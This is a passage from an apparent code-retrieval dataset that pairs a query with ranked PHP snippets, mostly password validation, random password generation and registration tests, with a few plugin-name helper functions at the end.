a maximálně <b>15</b> znaků.<br>\";\n }\n\n if(strcmp($_POST[\"password\"], $_POST[\"password2\"]) != 0) return $errorString.\"Zadaná hesla se <b>neshodují</b>.<br>\"; // (3)\n \n return $errorString;\n}", "title": "" }, { "docid": "4b8e821c671830b2f78e1fa1ee15bbd5", "score": "0.63722014", "text": "public function testRandomRequirements ()\n {\n // Function parameters\n $length = 8;\n $minPasswordRequirements = [\n 'min' => 10,\n 'special' => 4,\n 'digit' => 3,\n 'upper' => 2,\n 'lower' => 1\n ];\n // Helper\n $securityHelper = new SecurityHelper(new Security()); // Empty security (it does not matter)\n // Check password correctness\n $ok = true;\n for ($i = 0; $i < self::ITERATIONS; $i++) {\n $password = $securityHelper->generatePassword($length, $minPasswordRequirements);\n $result = preg_match('/\\A(?=(.*\\d){3})(?=(?:[^a-z]*[a-z]){1})(?=(?:[^A-Z]*[A-Z]){2})(?=(?:[0-9a-zA-Z]*[!#$%&*+,-.:;<=>?@_~]){4})[0-9a-zA-Z!#$%&*+,-.:;<=>?@_~]{10,}\\z/', $password);\n if ($result === 0) {\n $ok = false;\n break;\n }\n }\n $this->assertTrue($ok);\n }", "title": "" }, { "docid": "b513289d52b89880e53092de32bbd204", "score": "0.63660735", "text": "public function authenticationWithValidAlphaCharClassPassword() {}", "title": "" }, { "docid": "b513289d52b89880e53092de32bbd204", "score": "0.63660735", "text": "public function authenticationWithValidAlphaCharClassPassword() {}", "title": "" }, { "docid": "b513289d52b89880e53092de32bbd204", "score": "0.63660735", "text": "public function authenticationWithValidAlphaCharClassPassword() {}", "title": "" }, { "docid": "41f8644bdba781d2406e70219ce04f10", "score": "0.63585025", "text": "public function testMaxLength(){\n \t/*\n \t * Visit the registration page and enter fields that are too long\n \t */\n \t$this->visit('/register')\n \t\t->see('E-Mail Address');\n \t\n \t/*\n \t * Confirm the error text when submitting oversized data\n \t */\n \t$clearpass = str_random(7);\n \t$name = str_random(256);\n \t$this->type($name , 'name')\n \t\t->type(str_random(256) . '@example.com', 'email')\n \t\t->type($clearpass, 'password')\n \t\t->type($clearpass, 'password_confirmation')\n \t\t->press('Register')\n \t\t->see('The name may not be greater than 255 characters.')\n \t\t->see('The email must be a valid email address.')\n \t\t->see('The email may not be greater than 255 characters.')\n \t\t->assertTrue(App\\User::where('name', $name)->get()->isEmpty());\n \t\n \t/*\n \t * Confirm the error session keys when explicitly posting the registration form\n \t */\n \t\t \n \t$this->post('/register', [\n \t\t\t'name' => $name, \n \t\t\t'email' => str_random(256) . '@example.com', \n \t\t\t'password' => $clearpass, \n \t\t\t'password_confirmation' => $clearpass, \n \t\t\t'_token' => csrf_token()\n \t\t])\n \t\t->assertRedirectedTo('/register')\n \t\t->assertSessionHasErrors(['name', 'email']);\n \t\n \t$this->assertTrue(App\\User::where('name', $name)->get()->isEmpty());\n }", "title": "" }, { "docid": "f1b418bdf549e12f04fa43be9953f64f", "score": "0.6357743", "text": "public function valida_password($password){\n\t\tif (preg_match(\"/^.*(?=.{8,})(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).*$/\", $password)) \n\t\t\techo \"Su password es seguro.\"; \n\t\telse echo \"Su password no es seguro.\";\n\n\t}", "title": "" }, { "docid": "11d61fa0c497cc37218e7300a8780714", "score": "0.63512456", "text": "function is_secured_password($password)\n{\n if (is_null($password) || strlen($password) < 6 || strlen($password) > 40)\n {\n return false;\n }\n $pattern = \"/^[a-z0-9~`!@#\\$%\\^&\\*\\-_\\+=\\(\\)\\{\\}\\[\\]\\|:;\\\"\\'\\<\\>\\.,\\?\\/]{6,40}$/i\";\n $pattern1 = \"/[A-Z]/\";\n $pattern2 = \"/[a-z]/\";\n $pattern3 = \"/[0-9]/\";\n $pattern4 = \"/[~`!@#\\$%\\^&\\*\\-_\\+=\\(\\)\\{\\}\\[\\]\\|:;\\\"\\'\\<\\>\\.,\\?\\/]/\";\n\n return (preg_match($pattern, $password) == 1) && (preg_match($pattern1, $password) == 1) && (preg_match($pattern2, $password) == 1) && (preg_match($pattern3, $password) == 1) && (preg_match($pattern4, $password) == 1);\n}", "title": "" }, { "docid": "e6fe138e91a33067a86700d9e7b4da8f", "score": "0.6343215", "text": "public function testPasswordLengthManagement() {\n // Create a policy and add minimum and maximum \"length\" constraints.\n $this->drupalPostForm('admin/config/security/password-policy/add', ['label' => 'Test policy', 'id' => 'test_policy'], 'Next');\n $this->drupalGet('admin/config/system/password_policy/constraint/add/test_policy/password_length');\n $this->assertText('Number of characters');\n $this->assertText('Operation');\n\n $this->drupalPostForm(NULL, ['character_operation' => 'minimum', 'character_length' => 1], 'Save');\n $this->assertText('Password character length of at least 1');\n\n $this->drupalGet('admin/config/system/password_policy/constraint/add/test_policy/password_length');\n $this->drupalPostForm(NULL, ['character_operation' => 'maximum', 'character_length' => 6], 'Save');\n $this->assertText('Password character length of at most 6');\n\n $this->drupalGet('admin/config/system/password_policy/constraint/add/test_policy/password_length');\n $this->drupalPostForm(NULL, ['character_operation' => 'minimum', 'character_length' => ''], 'Save');\n $this->assertText('The character length must be a positive number.');\n\n $this->drupalGet('admin/config/system/password_policy/constraint/add/test_policy/password_length');\n $this->drupalPostForm(NULL, ['character_operation' => 'minimum', 'character_length' => -1], 'Save');\n $this->assertText('The character length must be a positive number.');\n\n $this->drupalGet('admin/config/system/password_policy/constraint/add/test_policy/password_length');\n $this->drupalPostForm(NULL, ['character_operation' => 'minimum', 'character_length' => $this->randomMachineName()], 'Save');\n $this->assertText('The character length must be a positive number.');\n }", "title": "" }, { "docid": "b1711319fee24c3048accf45abb9da69", "score": "0.6335476", "text": "function randomPassword()\r\n\t{\r\n\t\t$longitud = 8;\r\n\t\t$carac = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\r\n\t\t$pwd = '';\r\n\t\tfor ($i=0; $i<$longitud; ++$i){ \r\n\t\t\t $pwd .= substr($carac, (mt_rand() % strlen($carac)), 1);\r\n\t\t}\t \r\n\t return trim($pwd);\r\n\t}", "title": "" }, { "docid": "9379c4b144e660633731a4a8b5e7fe4b", "score": "0.6323314", "text": "protected function random_password() \n {\n $length = 8;\n // 0 and O, l and 1 are all removed to prevent silly people who can't read to make mistakes.\n $characters = '23456789abcdefghijkmnpqrstuvwxyzABCDEFGHIJKLMNPQRSTUVWXYZ';\n $string = ''; \n for ($p = 0; $p < $length; $p++) {\n $string .= $characters[mt_rand(0, strlen($characters))];\n }\n return $string;\n }", "title": "" }, { "docid": "5f99611c33496fc17644c6afc99bfe9c", "score": "0.6287222", "text": "function random_pass($len)\r\n{\r\n\t$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\r\n\r\n\t$password = '';\r\n\tfor ($i = 0; $i < $len; ++$i)\r\n\t\t$password .= substr($chars, (mt_rand() % strlen($chars)), 1);\r\n\r\n\treturn $password;\r\n}", "title": "" }, { "docid": "9d7e471675d87e8faa8647eecf95ec4a", "score": "0.62821335", "text": "function isValidPassword2($password)\n{\n return checkLength($password) && specialChar($password) && containsUpperAndLower($password);\n}", "title": "" }, { "docid": "33269154a24b2213e8691da579d3d77e", "score": "0.6281375", "text": "function isPassCorrect($psw, $psw_repeat){\r\n\t$regex = '/(?:[^`!@#$%^&*\\-_=+\\'\\/.,]*[`!@#$%^&*\\-_=+\\'\\/.,]){2}/';\r\n\tif (strlen($psw) >= 2 && strlen($psw_repeat) <= 255 && $psw == $psw_repeat) {\r\n\t\tif (preg_match($regex, $psw)) {\r\n\t\t\treturn 1;\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}", "title": "" }, { "docid": "e198c06ec58c7f3d2739aaf2eed75fd1", "score": "0.6272702", "text": "public function enforceRulePassword($data){\n if (strlen($data) >= 8){\n \t$validPassword= $data;\n \t} \n \telse{\n \t$validPassword= FALSE;\n\t\t\t}\n\t\t\t\n\t\t\t/*if (preg_match (\"/^.*(?=.{8,})(?=.*\\d)(?=.*[a-zA-Z]).*$/\", $data)){\n \t$validPassword= $data;\n \t} \n \telse{\n \t$validPassword= FALSE;\n\t\t\t}*/\n\t\t\t\n\t\t\treturn $validPassword;\n }", "title": "" }, { "docid": "3f4f1ee6ded087cb62bdcbc5d02f9f87", "score": "0.62704605", "text": "public static function password($length = 8) {\n $seed = 'abcdefhikmnrstuwxz' . '2456789';\n $ret = '';\n for ($i = 1; $i <= $length; $i++) {\n $ret .= $seed[mt_rand(0, strlen($seed) - 1)];\n }\n return $ret;\n }", "title": "" }, { "docid": "114649bf0abab7a29014f8c00afa3b27", "score": "0.62647533", "text": "public function test($password) {\n $error = array();\n if($password == trim($password) && strpos($password, ' ') !== false) {\n $error[] = \"Password can not contain spaces!\";\n }\n \n if(($this->password_lenghtMin!=null) && (strlen($password) < $this->password_lenghtMin)) {\n $error[] = \"Password too short! Minimum \".$this->password_lenghtMin.\" characters.\";\n }\n if(($this->password_lenghtMax!=null) && (strlen($password) > $this->password_lenghtMax)) {\n $error[] = \"Password too long! Maximum \".$this->password_lenghtMax.\" characters.\";\n }\n \n if(($this->password_number!=null) && (!preg_match(\"#[0-9]+#\", $password, $output))) {\n $error[] = \"Password must include at least \".$this->password_number.\" number(s)!\";\n } elseif($this->password_number>1) {\n preg_match_all(\"/\\W+/\", $password, $output);\n $output = $output[0];\n $c = 0;\n foreach($output as $out) {\n $c = $c + strlen($out);\n }\n if($c<$this->password_number) {\n $error[] = \"Password must include at least \".$this->password_number.\" number(s)!\";\n }\n }\n\n if(($this->password_letter!=null) && (!preg_match(\"#[a-z]+#\", $password, $output))) {\n $error[] = \"Password must include at least \".$this->password_letter.\" letter(s)! \";\n } elseif($this->password_letter>1) {\n preg_match_all(\"/\\W+/\", $password, $output);\n $output = $output[0];\n $c = 0;\n foreach($output as $out) {\n $c = $c + strlen($out);\n }\n if($c<$this->password_letter) {\n $error[] = \"Password must include at least \".$this->password_letter.\" letter(s)! \";\n }\n }\n\n if(($this->password_capital!=null) && (!preg_match(\"#[A-Z]+#\", $password, $output))) {\n $error[] = \"Password must include at least \".$this->password_capital.\" capital letter(s)! \";\n } elseif($this->password_capital>1) {\n preg_match_all(\"/\\W+/\", $password, $output);\n $output = $output[0];\n $c = 0;\n foreach($output as $out) {\n $c = $c + strlen($out);\n }\n if($c<$this->password_capital) {\n $error[] = \"Password must include at least \".$this->password_capital.\" capital letter(s)! \";\n }\n }\n \n \n if(($this->password_symbol!=null) && (!preg_match(\"/\\W+/\", $password))) {\n $error[] = \"Password must include at least \".$this->password_symbol.\" symbol(s)!\";\n } elseif($this->password_symbol>1) {\n preg_match_all(\"/\\W+/\", $password, $output);\n $output = $output[0];\n $c = 0;\n foreach($output as $out) {\n $c = $c + strlen($out);\n }\n if($c<$this->password_symbol) {\n $error[] = \"Password must include at least \".$this->password_symbol.\" symbol(s)!\";\n }\n }\n \n if(($this->password_strength!=null) && (($this->strength($password)!==false) && ($this->strength($password)['score']<$this->password_strength))) {\n $error[] = \"Password too weak! \".$this->strength($password)['score'].'/4 minimum '.$this->password_strength;\n }\n\n if(!empty($error)){\n return $error;\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "5dcd96a2db22d8698c98479819984f27", "score": "0.6258013", "text": "private function isValidPassword($password){\n $isValid = false;\n if(isset($password) && trim($password) != \"\" && strlen($password) >= 6){\n $isValid = true;\n }\n return $isValid;\n }", "title": "" }, { "docid": "cf30d5474bbffe8b91b0ace5929d08a0", "score": "0.6254022", "text": "static function RandomPassword($length = 10){\n\t\tsettype($length,\"integer\");\n\t\t$numeric_versus_alpha_total = 10;\n\t\t$numeric_versus_alpha_numeric = 2;\n\t\t$piece_min_length = 2;\n\t\t$piece_max_length = 3;\n\t\t$numeric_piece_min_length = 1;\n\t\t$numeric_piece_max_length = 2;\n\t\t$s1 = \"aeuyr\";\n\t\t$s2 = \"bcdfghjkmnpqrstuvwxz\";\n\t\t$password = \"\";\n\t\t$last_s1 = rand(0,1);\n\t\twhile(strlen($password)<=$length){\n\t\t\t$numeric = rand(0,$numeric_versus_alpha_total);\n\t\t\tif($numeric<=$numeric_versus_alpha_numeric){\n\t\t\t\t$numeric = 1;\n\t\t\t}else{\n\t\t\t\t$numeric = 0;\n\t\t\t}\n\t\t\tif($numeric==1){\n\t\t\t\t$piece_lenght = rand($numeric_piece_min_length,$numeric_piece_max_length);\n\t\t\t\twhile($piece_lenght>0){\n\t\t\t\t\t$password .= rand(2,9);\n\t\t\t\t\t$piece_lenght--;\n\t\t\t\t} \n\t\t\t}else{ \n\t\t\t\t$uppercase = rand(0,1);\n\t\t\t\t$piece_lenght = rand($piece_min_length,$piece_max_length);\n\t\t\t\twhile($piece_lenght>0){\n\t\t\t\t\tif($last_s1==0){\n\t\t\t\t\t\tif($uppercase==1){\n\t\t\t\t\t\t\t$password .= strtoupper($s1[rand(0,strlen($s1)-1)]);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$password .= $s1[rand(0,strlen($s1)-1)];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$last_s1 = 1;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($uppercase==1){\n\t\t\t\t\t\t\t$password .= strtoupper($s2[rand(0,strlen($s2)-1)]);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$password .= $s2[rand(0,strlen($s2)-1)];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$last_s1 = 0;\n\t\t\t\t\t}\n\t\t\t\t\t$piece_lenght--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(strlen($password)>$length){\n\t\t\t$password = substr($password,0,$length);\n\t\t}\n\t\treturn new self($password);\n\t}", "title": "" }, { "docid": "4fedf72358aea150638b6c179144e1c4", "score": "0.62477535", "text": "function random_password($length){\r\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\r\n //Create blank string\r\n $password = '';\r\n //Get the index of the last character in our $characters string\r\n $characterListLength = mb_strlen($characters, '8bit') - 1;\r\n //Loop from 1 to the length that was specified\r\n foreach(range(1,$length) as $i){\r\n $password .=$characters[rand(0,$characterListLength)];\r\n }\r\n return $password;\r\n}", "title": "" }, { "docid": "ed8d4eb6e0d8c4efd9673db7985a3176", "score": "0.6236483", "text": "public function testPasswordStringGeneration()\n {\n $generator = $this->getTokenGeneratorForTesting(new PseudoRandom());\n\n $resultOne = $generator->getPasswordString(20);\n $resultTwo = $generator->getPasswordString(20);\n\n $this->assertNotEquals($resultOne, $resultTwo);\n\n $resultOne = $generator->getPasswordString(20, false);\n $resultTwo = $generator->getPasswordString(20, false);\n\n $this->assertNotEquals($resultOne, $resultTwo);\n\n $generator->seedRandomGenerator(42);\n $resultOne = $generator->getPasswordString(20);\n\n $generator->seedRandomGenerator(42);\n $resultTwo = $generator->getPasswordString(20);\n\n $this->assertEquals($resultOne, $resultTwo);\n }", "title": "" }, { "docid": "1f8b18203f2266d1172493951d4a8265", "score": "0.6236048", "text": "function error_password($pass, $pass_bis)\n{\n $error = array();\n if (strlen($pass) < 8 || strlen($pass) >= 255)\n array_push($error, \"error password must be longer than 8 and shorter than 255 \");\n if ($pass !== $pass_bis)\n array_push($error, \"password do not match\");\n if (!preg_match(\"/.*[0-9].*/\", $pass))\n array_push($error, \"password must have at least a number in it\");\n return ($error);\n}", "title": "" }, { "docid": "a8883a5c22b09e0e65bc8cb93582c4be", "score": "0.62279695", "text": "public function testInvalidConfirmPassword()\n\t{\n\t\t$this->validator->isPassword(self::USER1_PASSWORD, self::INVALID_PASSWORD);\n\t}", "title": "" }, { "docid": "fc918d900f4579d0912da3c5cfe5867f", "score": "0.6217454", "text": "function has_length($value, $options=array()) {\n //for first/last name [1,256]\n //for username [7, 256]\n if(strlen($value) > $options[0] && strlen($value) < $options[1]) {\n return 1;\n }\n return 0;\n }", "title": "" }, { "docid": "d96b1d27990986533932fa5229688fd3", "score": "0.6210687", "text": "function checkPasswordErrors($password, $username = false) {\n $returns = array(\n 'strength' => 0,\n 'error' => 0,\n 'text' => ''\n );\n\n $length = strlen($password);\n\n if ($length < 8) {\n $returns['error'] = 1;\n $returns['text'] = 'The password is not long enough';\n } elseif ($length > 32) {\n $returns['error'] = 1;\n $returns['text'] = 'The password is too long';\n } else {\n\n//check for a couple of bad passwords:\n if ($username && strtolower($password) == strtolower($username)) {\n $returns['error'] = 4;\n $returns['text'] = 'Password cannot be the same as your Username';\n } elseif (strtolower($password) == 'password') {\n $returns['error'] = 3;\n $returns['text'] = 'Password is too common';\n } else {\n\n preg_match_all(\"/(.)\\1{2}/\", $password, $matches);\n $consecutives = count($matches[0]);\n\n preg_match_all(\"/\\d/i\", $password, $matches);\n $numbers = count($matches[0]);\n\n preg_match_all(\"/[A-Z]/\", $password, $matches);\n $uppers = count($matches[0]);\n\n preg_match_all(\"/[^A-z0-9]/\", $password, $matches);\n $others = count($matches[0]);\n\n//see if there are 3 consecutive chars (or more) and fail!\n if ($consecutives > 0) {\n $returns['error'] = 2;\n $returns['text'] = 'Too many consecutive characters';\n } elseif ($others > 1 || ($uppers > 1 && $numbers > 1)) {\n//bulletproof\n $returns['strength'] = 5;\n $returns['text'] = 'Virtually Bulletproof';\n } elseif (($uppers > 0 && $numbers > 0) || $length > 14) {\n//very strong\n $returns['strength'] = 4;\n $returns['text'] = 'Very Strong';\n } else if ($uppers > 0 || $numbers > 2 || $length > 9) {\n//strong\n $returns['strength'] = 3;\n $returns['text'] = 'Strong';\n } else if ($numbers > 1) {\n//fair\n $returns['strength'] = 2;\n $returns['text'] = 'Fair';\n } else {\n//weak\n $returns['strength'] = 1;\n $returns['text'] = 'Weak';\n }\n }\n }\n return $returns;\n}", "title": "" }, { "docid": "2672b47f6aba0908b857fc8d6568eeda", "score": "0.62071854", "text": "public function testRandomChars()\n {\n $numChars = rand(20, 40);\n\n $chars = $this->randomChars($numChars);\n $this->assertEquals($numChars, strlen($chars));\n }", "title": "" }, { "docid": "936b6432e501517fecc06b123b08918a", "score": "0.6205694", "text": "public function getMinUsernameLength();", "title": "" }, { "docid": "6f451c10c5871b14e1783f13cebdd9e5", "score": "0.6198167", "text": "public static function chunk_password($raw_password)\n {\n }", "title": "" } ]
aa8ca669195e5aadc675ad4a9973242a
Get the unique name for the plugin. Use azAZ09 only (do not use underscores or settings will not be accessible).
[ { "docid": "4753b7657bd8a03db04e0cceea3872c4", "score": "0.0", "text": "public function getName()\n\t{\n\t\treturn 'Magento';\n\t}", "title": "" } ]
[ { "docid": "fd2c15836a4b3a17f7db9db4fc65a5eb", "score": "0.7776316", "text": "public function get_plugin_slug_name() {\n\t\treturn $this->get_plugin_name_sanitized();\n\t}", "title": "" }, { "docid": "9118ff1b38f9154b20f0cac2a6033971", "score": "0.77217925", "text": "final public function get_name() {\n return get_string('pluginname', $this->component);\n }", "title": "" }, { "docid": "a78ca6119833d0cdcb6c562621081255", "score": "0.769029", "text": "public static function getPluginName();", "title": "" }, { "docid": "75cb5d655fb1e405055257c66a1d5844", "score": "0.7642729", "text": "public function get_plugin_full_name() {\n\t\t$plugin_data = get_plugin_data( $this->get_plugin_file(), false, true );\n\t\tif ( ! isset( $plugin_data['Name'] ) ) {\n\t\t\treturn '';\n\t\t}\n\t\tif ( empty( $plugin_data['Name'] ) ) {\n\t\t\treturn '';\n\t\t}\n\t\treturn $plugin_data['Name'];\n\t}", "title": "" }, { "docid": "cf51a63a1ae35aabdbe9bf5a01260228", "score": "0.74845725", "text": "public function getPluginName() {}", "title": "" }, { "docid": "59ab2691b2c98dde888e2365051aa998", "score": "0.7478049", "text": "public function getPluginName();", "title": "" }, { "docid": "9bbc386d306f789acac99f2da70b1362", "score": "0.74589", "text": "public function get_plugin_name_sanitized() {\n\t\treturn sanitize_key( $this->_plugin_name );\n\n\t}", "title": "" }, { "docid": "1eefea5c383c6b7141f81e0e19c2f51c", "score": "0.73699975", "text": "public function plugin_name() {\n return substr(get_class($this), 0, -10);\n }", "title": "" }, { "docid": "022ebd52b5e221ab2030c7c602d6dc97", "score": "0.7312663", "text": "public function getName()\n {\n return Craft::t(craft()->config->get('pluginName', $this->pluginSlug));\n }", "title": "" }, { "docid": "4153b02a22c4caa0a991ec32863773c1", "score": "0.7287547", "text": "protected function plugin_name() {\n return substr(get_class($this), 0, -9);\n // = $qa->get_question()->qtype->plugin_name();\n }", "title": "" }, { "docid": "c6b8c4433c7b130e766beae76ea5aafe", "score": "0.7252628", "text": "public function getObjectName()\n\t{\n\t\t// get the name of the plugin class\n\t\t$class = get_class();\n\n\t\t// split into segments\n\t\t$segments = explode('_', $class);\n\n\t\t$segments = array_map('ucfirst', $segments);\n\n\t\t// the end of the segments is the module\n\t\t$last = end($segments);\n\n\t\t// remove the module\n\t\t$name = str_replace($last, '', $class);\n\n\t\t// remove the lodash\n\t\t$name = substr($name, 0, -1);\n\n\t\t// Will become snake case\n\t\t$name = str_replace('_', '', $name);\n\n\t\t// sanitize as a slug and return\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "3c878c40ca91255fef5dcc0a31fb2528", "score": "0.7178659", "text": "function jr_mt_plugin_basename() {\n\tglobal $jr_mt_plugin_basename;\n\treturn $jr_mt_plugin_basename;\n}", "title": "" }, { "docid": "3bb6178e983a7175dd4efafda2fdc8e0", "score": "0.71581095", "text": "private function GetPluginName() {\n\t\t$url = $_SERVER['REQUEST_URI'] ;\n\t\t$pattern = \"@plugin/([^/\\?]+)@\";\t\t\n\t\tpreg_match($pattern, $url, $matches);\n\t\treturn $matches[1] ;\n\t}", "title": "" }, { "docid": "ebc72c21956011e65b8b48b76c97dd7d", "score": "0.7091812", "text": "public function getPluginPrefix() {\n return str_replace('-','_',$this->plugin_name);\n }", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "82c5aa8214ed38bd5be1d2ef095b33fd", "score": "0.70649713", "text": "public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}", "title": "" }, { "docid": "f35cd8270666a59d5be7f868c6840b6a", "score": "0.70585805", "text": "public function getPluginIdentifier(): string\n {\n $namespace = Str::normalizeClassName(get_class($this));\n if (strpos($namespace, '\\\\') === null) {\n return $namespace;\n }\n\n $parts = explode('\\\\', $namespace);\n $slice = array_slice($parts, 1, 2);\n $namespace = implode('.', $slice);\n\n return $namespace;\n }", "title": "" }, { "docid": "4c5755aba3c2b4b1d6db29827a3e5bbc", "score": "0.69857156", "text": "public function get_plugin_name() {\n return $this->plugin_name;\n }", "title": "" }, { "docid": "1a86d78da3bfaaa9fe6deb8cb32d22ea", "score": "0.6985674", "text": "public function plugin_basename() {\n\t\treturn plugin_basename( __FILE__ );\n\t}", "title": "" }, { "docid": "115d58efabf1a2b5e527cebb90392f4f", "score": "0.6956085", "text": "public function get_plugin_name() {\n return $this->plugin_name;\n }", "title": "" }, { "docid": "f58dc3b97308495929345a5589e45e86", "score": "0.69345033", "text": "public function getName()\n {\n $shortname = $this->getSettings()->shortname;\n // It should not be possible for the shortname to be empty,\n // but PP checks for it in case something went wrong.\n if ( is_string($shortname) && !empty($shortname) ) {\n return $shortname;\n } else {\n return Craft::t( 'Pic Puller for Craft' );\n }\n\n }", "title": "" }, { "docid": "806545a6a910e5e7a745b91f71656ac3", "score": "0.6896795", "text": "public function pluginName()\n {\n return $this->plugin_name;\n }", "title": "" }, { "docid": "b26bc2e019e4146eb491d9fdce829a6a", "score": "0.6869168", "text": "public function get_name() {\n return get_string('pluginname', 'assignsubmission_comments');\n }", "title": "" }, { "docid": "6daf1d951f1519f0bd409e4686c46476", "score": "0.6849203", "text": "static function get_base_title(){\n\t\t// Start by getting the base name for the plugin as a string.\n\t\t$basename = Plugin::get_base_name(' ');\n\t\t// Uppercase the words and return the string.\n\t\treturn ucwords($basename);\n\t}", "title": "" }, { "docid": "65a4fb87adcf48d225fb926f7a2bb9cf", "score": "0.6821275", "text": "public function getPluginName()\n {\n return $this->pluginName;\n }", "title": "" }, { "docid": "3dd3f7cc7debcecbc52d02f1e370d754", "score": "0.6809824", "text": "public static function get_plugin_basename() {\n\t\treturn plugin_basename( __FILE__ );\n\t}", "title": "" }, { "docid": "ee733a4c9f5b964526763e9502a6dd66", "score": "0.67799556", "text": "public function get_plugin_basename() {\n\t\tif ( isset( $this->plugin_basename ) ) {\n\t\t\treturn $this->plugin_basename;\n\t\t}\n\t\t$this->plugin_basename = 'wpcampus-social-media-plugin/wpcampus-social-media.php';\n\t\treturn $this->plugin_basename;\n\t}", "title": "" }, { "docid": "692c790379a7a53dc00e5f139ad83a09", "score": "0.67703533", "text": "public function getSlug()\n\t{\n\t\t// get the name of the plugin class\n\t\t$class = get_class();\n\n\t\t// split into segments\n\t\t$segments = explode('_', $class);\n\n\t\t// the end of the segments is the module\n\t\t$last = end($segments);\n\n\t\t// remove the module\n\t\t$name = str_replace($last, '', $class);\n\n\t\t// remove the lodash\n\t\t$name = substr($name, 0, -1);\n\n\t\t// sanitize as a slug and return\n\t\treturn sanitize_title( $name );\n\t}", "title": "" }, { "docid": "c97e7935afeae5c3e0dc1c2cdf669161", "score": "0.6766661", "text": "public function getPluginName() {\n return $this->plugin_name;\n }", "title": "" }, { "docid": "5fd258efb5f86e826034bf00263ec0f8", "score": "0.67517596", "text": "public static function uniqueName(): string;", "title": "" }, { "docid": "fa2832fbda6bb5d1c197c0ec688cd28f", "score": "0.67171127", "text": "public function get_plugin_name() {\n\t\treturn __( 'WooCommerce Elavon', self::TEXT_DOMAIN );\n\t}", "title": "" }, { "docid": "c6aa937e56dacd98bd6257ca9931a1b2", "score": "0.66784835", "text": "public static function makeName($filename)\n\t{\n\t\t$name = preg_replace('/plugin\\.(.*?)\\.php/', '$1', array_last(explode('/', $filename)));\n\t\treturn str_replace(' ', '', ucwords(str_replace('_', ' ', $name)));\n\t}", "title": "" }, { "docid": "a83d781103b10b89f8a27d41f268f132", "score": "0.66714567", "text": "public function basename(): string\n {\n return $this->get('plugin.basename');\n }", "title": "" }, { "docid": "da2dd7a1df9682afe1e29fc401703195", "score": "0.6652425", "text": "function getPluginName()\n\t{\n\t\tif (is_object($this->plug_node))\n\t\t{\n\t\t\treturn $this->plug_node->get_attribute(\"PluginName\");\n\t\t}\n\t}", "title": "" }, { "docid": "9f566ba080183ccdb32c9c04e79d18de", "score": "0.6632566", "text": "public function get_plugin_name() {\n\n\t\treturn __( 'WooCommerce Sequential Order Numbers Pro', 'woocommerce-sequential-order-numbers-pro' );\n\t}", "title": "" }, { "docid": "ee4daef3f8585072a64fa23223115c24", "score": "0.66081446", "text": "private function getLocalName($plugin_name) {\n $infos = Plugin::getInfo($plugin_name);\n\n return isset($infos['name']) ? $infos['name'] : $plugin_name;\n }", "title": "" }, { "docid": "31f65edf550b20a8aee5f443e4289d7a", "score": "0.660188", "text": "function getName() {\n\t\t// This should not be used as this is an abstract class\n\t\treturn 'SampleImportExportPlugin';\n\t}", "title": "" }, { "docid": "b9571b968f095b845c8c6a72953138c6", "score": "0.65808725", "text": "public static function getPluginId(): string;", "title": "" }, { "docid": "ca501a18588cfb4f00414d39a592a23a", "score": "0.6579475", "text": "public function get_plugin_name() {\n\t\treturn __( 'WooCommerce Authorize.net CIM Gateway', self::TEXT_DOMAIN );\n\t}", "title": "" }, { "docid": "045b2e2c4c35117e4fa36882b65ed9c4", "score": "0.6576047", "text": "public function getName()\n {\n $str = get_class($this);;\n $pieces = explode('\\\\', $str);\n\n if ('SocietoPlugin' === $pieces[0]) {\n array_shift($pieces);\n }\n\n $name = '';\n\n foreach ($pieces as $piece) {\n $name .= $piece;\n if (preg_match('#(Bundle|Plugin)$#', $piece)) {\n break;\n }\n }\n\n $name .= ':'.array_pop($pieces);\n\n return $name;\n }", "title": "" }, { "docid": "b876fe449da0761be95912da61b018eb", "score": "0.65740913", "text": "public function getPluginName()\n {\n return _('Änderungsverlauf');\n }", "title": "" }, { "docid": "1c44902a17e99fbdf30c636e1e8f906c", "score": "0.6571206", "text": "public static function name(): string\n {\n return Str::of(static::class)->replace('\\\\', '-')->slug();\n }", "title": "" }, { "docid": "bc9aa546e20f32dbafd297420317d324", "score": "0.6561529", "text": "function getName() {\n\t\treturn 'human2ThemePlugin';\n\t}", "title": "" }, { "docid": "2629cb915c817322eda8848af6452595", "score": "0.6558437", "text": "public function getUniqueName() {\n\t\tif($this->uniqueName === NULL){\n\t\t\t$this->uniqueName = rawurlencode(\n\t\t\t\tstr_replace(array(' '),array('_'),\n\t\t\t\t$this->id.'_'.$this->getManufacturer()->name.'_'.$this->name));\n\t\t}\n\t\treturn $this->uniqueName;\n\t\t\n\t}", "title": "" }, { "docid": "3b384331996eed4994f2faa64ea32f1a", "score": "0.655124", "text": "public function getUniqueName();", "title": "" }, { "docid": "46e4622edf002e9d074ce8bd36136af4", "score": "0.6511554", "text": "function plugin_basename($file)\n{\n}", "title": "" }, { "docid": "47ce8e8456d397e77b6f96a6304050d2", "score": "0.6488971", "text": 